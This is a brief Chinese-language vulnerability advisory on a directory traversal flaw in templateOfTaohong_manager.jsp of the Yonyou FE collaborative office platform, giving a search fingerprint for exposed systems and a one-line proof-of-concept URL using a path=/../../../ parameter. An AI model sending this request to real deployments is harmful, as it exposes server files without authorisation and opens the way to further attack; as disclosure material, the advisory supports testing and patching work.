用友 FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞

漏洞描述

用友 FE协作办公平台 templateOfTaohong_manager.jsp文件存在目录遍历漏洞，通过漏洞攻击者可以获取目录文件等信息，导致进一步攻击

漏洞影响

用友 FE协作办公平台

网络测绘

"FE协作"

漏洞复现

登录页面

验证POC

/system/mediafile/templateOfTaohong_manager.jsp?path=/../../../